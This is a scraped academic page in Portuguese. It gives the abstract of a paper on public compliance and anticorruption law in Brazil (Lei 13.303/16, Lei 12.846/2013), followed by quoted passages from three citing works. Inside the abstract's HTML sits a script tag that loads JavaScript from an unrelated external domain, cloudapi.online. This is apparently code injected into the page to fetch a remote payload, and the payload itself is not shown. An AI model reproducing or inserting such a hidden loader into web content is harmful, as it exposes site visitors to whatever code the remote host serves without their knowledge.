Compliance na Administração Pública

Abstract

<p>O objetivo deste texto é analisar a importância do <em>Compliance</em> Público no Brasil, especialmente por força da edição da lei 13.303/16 e dos demais diplomas nacionais e internacionais que revestem o tema. A corrupção vem assolando o mundo moderno, em especial o Brasil. Esse cenário vem exigindo uma mudança comportamental por parte das empresas e não poderia ser diferente com o Poder Público. Partindo-se da previsão constitucional, em sequência, investigam-se as normas que exteriorizam a transparência necessária dos atos de gestão pública, de modo a evitar os atos de corrupção e de má-gestão pública. A busca da gestão de riscos e da implantação e manutenção de Programas de Integridade, por força do contido na Lei Anticorrupção (Lei nº 12.846/2013) são o alvo para a edição das normas afetas à Integridade na Administração Pública. Assim, diante de tais circunstâncias e por ser algo relativamente novo no país, nasceu o chamado <em>Compliance</em> <em>Público,</em> que além de já ser considerada uma realidade para o setor público em todo o Brasil, deve se consolidar em todas as esferas e órgãos federais, estaduais e municipais, sobretudo com a publicação do novo diploma legislativo.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>

Integridad y compliace

“…Assim, a lei em questão está diretamente relacionada ao compliance, uma vez que evidencia a implementação do programa na administração pública, ou seja, aplica às empresas da corrupção, tanto em processos administrativos e civis, quanto em processos criminais (Coelho, 2017).…”

Construção do programa de compliance de uma IES pública: uma análise sob a ótica dos gestores

“…No ambiente público, a adoção de um programa de compliance vem com o intuito de promover e fortalecer as medidas preventivas e de combate a corrupção de forma mais eficaz e eficiente (Coelho, 2016). O compliance na administração pública percorre a implantação de um código de conduta para os servidores, também perpassando o desenvolvimento de políticas públicas relacionadas à integridade, honestidade e responsabilidade (Santos et al, 2012;Santos, 2019).…”

Implementação das Práticas de Governança e Compliance da Lei de Responsabilidade das Estatais no Estado do Rio de Janeiro

“…Austrália, Canadá, Estados Unidos, Nova Zelândia e Inglaterra são os países pioneiros em relação às discussões sobre governança corporativa no setor público (BOGONI et al, 2010). Coelho (2016) complementa que a experiência bem-sucedida na esfera privada desses países fez nascer o compliance público. O autor informa que alguns países, como a Inglaterra e os Estados Unidos da América, vêm investindo em novos modelos de gestão estratégica da informação e em programas governamentais "voltados a minimizar a corrupção no seio das estruturas corporativas" (COELHO, 2016, p. 78).…”